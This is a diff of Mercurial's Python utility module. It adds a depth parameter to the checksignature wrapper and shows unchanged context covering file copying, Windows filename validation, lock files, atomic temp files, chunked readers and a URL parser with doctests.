     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
 
 
-def checksignature(func):
+def checksignature(func, depth=1):
     '''wrap a function with code to check for calling errors'''
 
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
-            if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
+            if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
                 raise error.SignatureError
             raise
 
     return check
 
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     b'apfs',
     b'btrfs',
     b'ext2',
     b'ext3',
     b'ext4',
     b'hfs',
     b'jfs',
     b'NTFS',
     b'reiserfs',
     b'tmpfs',
     b'ufs',
     b'xfs',
     b'zfs',
 }
 
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass  # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (
                             oldstat.stat[stat.ST_MTIME] + 1
                         ) & 0x7FFFFFFF
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise error.Abort(stringutil.forcebytestr(inst))
 
 
 def copyfiles(src, dst, hardlink=None, progress=None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     def settopic():
         if progress:
             progress.topic = _(b'linking') if hardlink else _(b'copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (
                 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
             num += n
     else:
         if hardlink is None:
             hardlink = (
                 os.stat(os.path.dirname(src)).st_dev
                 == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         if progress:
             progress.increment()
 
     return hardlink, num
 
 
 _winreservednames = {
     b'con',
     b'prn',
     b'aux',
     b'nul',
     b'com1',
     b'com2',
     b'com3',
     b'com4',
     b'com5',
     b'com6',
     b'com7',
     b'com8',
     b'com9',
     b'lpt1',
     b'lpt2',
     b'lpt3',
     b'lpt4',
     b'lpt5',
     b'lpt6',
     b'lpt7',
     b'lpt8',
     b'lpt9',
 }
 _winreservedchars = b':*?"<>|'
 
 
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith(b'\\'):
         return _(b"filename ends with '\\', which is invalid on Windows")
     if b'\\/' in path:
         return _(b"directory name ends with '\\', which is invalid on Windows")
     for n in path.replace(b'\\', b'/').split(b'/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return (
                     _(
                         b"filename contains '%s', which is reserved "
                         b"on Windows"
                     )
                     % c
                 )
             if ord(c) <= 31:
                 return _(
                     b"filename contains '%s', which is invalid on Windows"
                 ) % stringutil.escapestr(c)
         base = n.split(b'.')[0]
         if base and base.lower() in _winreservednames:
             return (
                 _(b"filename contains '%s', which is reserved on Windows")
                 % base
             )
         t = n[-1:]
         if t in b'. ' and n not in b'..':
             return (
                 _(
                     b"filename ends with '%s', which is not allowed "
                     b"on Windows"
                 )
                 % t
             )
 
 
 timer = getattr(time, "perf_counter", None)
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     if not timer:
         timer = time.clock
 else:
     # mercurial.windows doesn't have platform.checkosfilename
     checkosfilename = platform.checkosfilename  # pytype: disable=module-attr
     if not timer:
         timer = time.time
 
 
 def makelock(info, pathname):
     """Create a lock file atomically if possible
 
     This may leave a stale lock file if symlink isn't supported and signal
     interrupt is enabled.
     """
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError:  # no symlink in os
         pass
 
     flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
     ld = os.open(pathname, flags)
     os.write(ld, info)
     os.close(ld)
 
 
 def readlock(pathname):
     try:
         return readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError:  # no symlink in os
         pass
     with posixfile(pathname, b'rb') as fp:
         return fp.read()
 
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 
 # File system features
 
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True  # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 
 try:
     import re2  # pytype: disable=import-error
 
     _re2 = None
 except ImportError:
     _re2 = False
 
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = b'(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = b'(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 
 re = _re()
 
 _fspathcache = {}
 
 
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
 
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace(b'\\', b'\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return b''.join(result)
 
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = pycompat.mkstemp(
             prefix=b'.%s-' % os.path.basename(testfile),
             suffix=b'1~',
             dir=os.path.dirname(testfile),
         )
         os.close(fd)
         f2 = b'%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (
         path.endswith(pycompat.ossep)
         or pycompat.osaltsep
         and path.endswith(pycompat.osaltsep)
     )
 
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 
 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode, enforcewritable)
 
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, b"rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, b"wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except:  # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
 
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (
                 self.stat.st_size == old.stat.st_size
                 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
                 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
             )
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
 
     def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
         self.__name = name  # permanent name
         self._tempname = mktempcopy(
             name,
             emptyok=(b'w' in mode),
             createmode=createmode,
             enforcewritable=(b'w' in mode),
         )
 
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'):  # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 
 def unlinkpath(f, ignoremissing=False, rmdir=True):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     if rmdir:
         # try removing directories that might now be empty
         try:
             removedirs(os.path.dirname(f))
         except OSError:
             pass
 
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 
 def readfile(path):
     with open(path, b'rb') as fp:
         return fp.read()
 
 
 def writefile(path, text):
     with open(path, b'wb') as fp:
         fp.write(text)
 
 
 def appendfile(path, text):
     with open(path, b'ab') as fp:
         fp.write(text)
 
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
 
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2 ** 20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
 
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return b''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2 ** 18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset : offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return b''.join(buf)
 
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 
 class cappedreader(object):
     """A file object proxy that allows reading up to N bytes.
 
     Given a source file object, instances of this type allow reading up to
     N bytes from that source file object. Attempts to read past the allowed
     limit are treated as EOF.
 
     It is assumed that I/O is not performed on the original file object
     in addition to I/O that is performed by this instance. If there is,
     state tracking will get out of sync and unexpected results will ensue.
     """
 
     def __init__(self, fh, limit):
         """Allow reading up to <limit> bytes from <fh>."""
         self._fh = fh
         self._left = limit
 
     def read(self, n=-1):
         if not self._left:
             return b''
 
         if n < 0:
             n = self._left
 
         data = self._fh.read(min(n, self._left))
         self._left -= len(data)
         assert self._left >= 0
 
         return data
 
     def readinto(self, b):
         res = self.read(len(b))
         if res is None:
             return None
 
         b[0 : len(res)] = res
         return len(res)
 
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_(b"line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_(b"fromline must be strictly positive"))
     return fromline - 1, toline
 
 
 bytecount = unitcountfn(
     (100, 1 << 30, _(b'%.0f GB')),
     (10, 1 << 30, _(b'%.1f GB')),
     (1, 1 << 30, _(b'%.2f GB')),
     (100, 1 << 20, _(b'%.0f MB')),
     (10, 1 << 20, _(b'%.1f MB')),
     (1, 1 << 20, _(b'%.2f MB')),
     (100, 1 << 10, _(b'%.0f KB')),
     (10, 1 << 10, _(b'%.1f KB')),
     (1, 1 << 10, _(b'%.2f KB')),
     (1, 1, _(b'%.0f bytes')),
 )
 
 
 class transformingwriter(object):
     """Writable file wrapper to transform data by function"""
 
     def __init__(self, fp, encode):
         self._fp = fp
         self._encode = encode
 
     def close(self):
         self._fp.close()
 
     def flush(self):
         self._fp.flush()
 
     def write(self, data):
         return self._fp.write(self._encode(data))
 
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 
 def tolf(s):
     return _eolre.sub(b'\n', s)
 
 
 def tocrlf(s):
     return _eolre.sub(b'\r\n', s)
 
 
 def _crlfwriter(fp):
     return transformingwriter(fp, tocrlf)
 
 
 if pycompat.oslinesep == b'\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
     nativeeolwriter = _crlfwriter
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
     nativeeolwriter = pycompat.identity
 
 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
     3,
     0,
 ):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, b'')
 
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = b''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if b'\n' in buf:
                     splitted = line.splitlines(True)
                     line = b''
                     for l in splitted:
                         if l[-1] == b'\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 
 
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = b'|'.join(mapping.keys())
     if escape_prefix:
         patterns += b'|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(
             _(b"no port number associated with service '%s'") % port
         )
 
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = b"!~*'()+"
     _safepchars = b"/!~*'()+:\\"
     _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = b''
         self._origpath = path
 
         if parsefragment and b'#' in path:
             path, self.fragment = path.split(b'#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith(b'\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith(b'bundle:'):
             self.scheme = b'bundle'
             path = path[7:]
             if path.startswith(b'//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(b':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = b''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and b'?' in path:
                 path, self.query = path.split(b'?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith(b'//'):
                 parts = path[2:].split(b'/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
